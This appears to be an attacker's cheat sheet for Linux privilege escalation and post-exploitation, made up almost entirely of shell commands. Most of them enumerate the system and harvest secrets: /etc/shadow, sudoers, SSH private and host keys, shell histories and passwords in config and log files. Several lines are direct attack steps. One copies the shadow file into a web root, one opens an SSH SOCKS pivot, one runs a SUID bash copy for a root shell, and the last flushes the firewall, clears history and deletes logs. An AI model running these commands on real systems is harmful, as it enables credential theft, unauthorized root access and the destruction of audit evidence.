Linux privexc

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
   
uname -n   // System hostname
hostname // As above

cat /proc/version   
uname -a
uname -r  // Kernel release
uname -mrs 
rpm -q kernel 
dmesg | grep Linux
ls /boot | grep vmlinuz-

cat /proc/cpuinfo   // CPU information

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
set  // As above
echo $PATH 
history 
env

cat /etc/passwd  
cat /etc/group   // List all groups on the system
cat /etc/shadow  // Show user hashes – Privileged command
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' List all super user accounts
finger   // Users currently logged in
pinky   // As above
users  // As above
who -a // As above
w   // Who is currently logged in and what they’re doing
last   // Listing of last logged on users
lastlog   // Information on when all users last logged in
lastlog --user root // Information on when the specified user last logged in

whoami 
id 
cat /etc/sudoers  // Who’s allowed to do what as root – Privileged command
sudo -l  // Can the current user perform anything as root
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history 
cat ~/.php_history

cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

ps aux | grep root
ps -ef | grep root

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/ 
dpkg -l 
rpm -qa 
sudo -V 
httpd -v 
apache2 -v 
apache2ctl (or apachectl) -M 
mysql --version 
perl -v 
java -version 
python --version 
ruby -v 
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) Locate ‘useful’ programs (netcat, wget etc)
which %program_name% (i.e. nc, netcat, wget, nmap etc) As above

cat /etc/syslog.conf 
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf 
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'

ps aux | grep root  // View services running as root
cat /etc/inetd.conf  // List services managed by inetd
cat /etc/xinetd.conf // As above for xinetd

ls -la ~/.ssh/ 
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
ls -la /etc/ssh/
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

crontab -l -u %username% 
ls -la /etc/cron* 
ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null 
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
ls -alh  /etc/cron.daily
ls -alh  /etc/cron.weekly
ls -alh  /etc/cron.monthly
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

find /home –name .rhosts -print 2>/dev/null 
ls -ahlR /root/
ls -ahlR /home/     
ls -la ~/.*_history 
ls -la /usr/sbin/in.* 
find /var/log -type f -exec ls -la {} ; 2>/dev/null 
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null 
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
find /etc/ -maxdepth 1 -name .conf -type f -exec ls -la {} ; 2>/dev/null 
ls -la /etc/*.conf As above
lsof -i -n  ## List open files (output will depend on account privileges)
lsof -u root  ## lists all open files and processes by user root

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                         # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone 

find / -writable -type d 2>/dev/null        # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

find / -perm -u=s -type f 2>/dev/null     #Find FILES that have the sticky bit set. 
find / -perm -1000 -type d 2>/dev/null    # Find DIRECTORIES w/ Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null 

cp -f --no-preserve=all /etc/shadow /var/www/html/joomla/shadow.txt

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

ls -alh /var/spool
ls -alh /var/spool/lpd 
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/

file ./somefile   ## file info
strings ./*.txt | grep password
find / -name “*.log” |xargs grep -i pass

grep -l -i pass /var/log/*.log 2>/dev/null
find / -maxdepth 10 -name *.conf -type f | grep -Hn pass; 2>/dev/null # searches for the string 'password' and output the line number
find / -maxdepth 10 -name *etc* -type f | grep -Hn pass; 2>/dev/null  # as above, but in *etc*
grep -l -i pass /var/log/*.log 2>/dev/null # Check log files for keywords (‘pass’ in this example) and show positive matches
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null #Find .conf files (recursive 4 levels) and output line number where the word password is located
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla 
hexeditor ./file
objdump -D -M intel ./file
objdump -D -M x86-64 ./file >> dump64.file

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD 
cat /root/anaconda-ks.cfg

find / -name "network-secret.txt"
locate "network-secret.txt"

df -ah  # all FS info, including pseudo, duplicate, INACCESSIBLE file systems

cat /etc/fstab

/sbin/ifconfig -a // List all network interfaces
cat /etc/network/interfaces // As above
cat /etc/sysconfig/network 
arp -a Display ARP communications
route Display route information
cat /etc/resolv.conf Show configured DNS sever addresses
netstat -antp List all TCP sockets and related PIDs (-p Privileged command)
netstat -anup List all UDP sockets and related PIDs (-p Privileged command)
iptables -L List rules – Privileged command
cat /etc/services View port numbers/services mappings

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

lsof -i 
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

arp -e
route
/sbin/route -nee

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
tcpdump -n dst host 192.168.1.5 -vvv -n -w file.cap

ssh -D 127.0.0.1:9050 -N [username]@[ip] 
proxychains ifconfig

cp -p ./bash /mnt/share/newbash
./newbash -p

iptables -F; history -c; find ./ -name “*.log” |xargs rm -f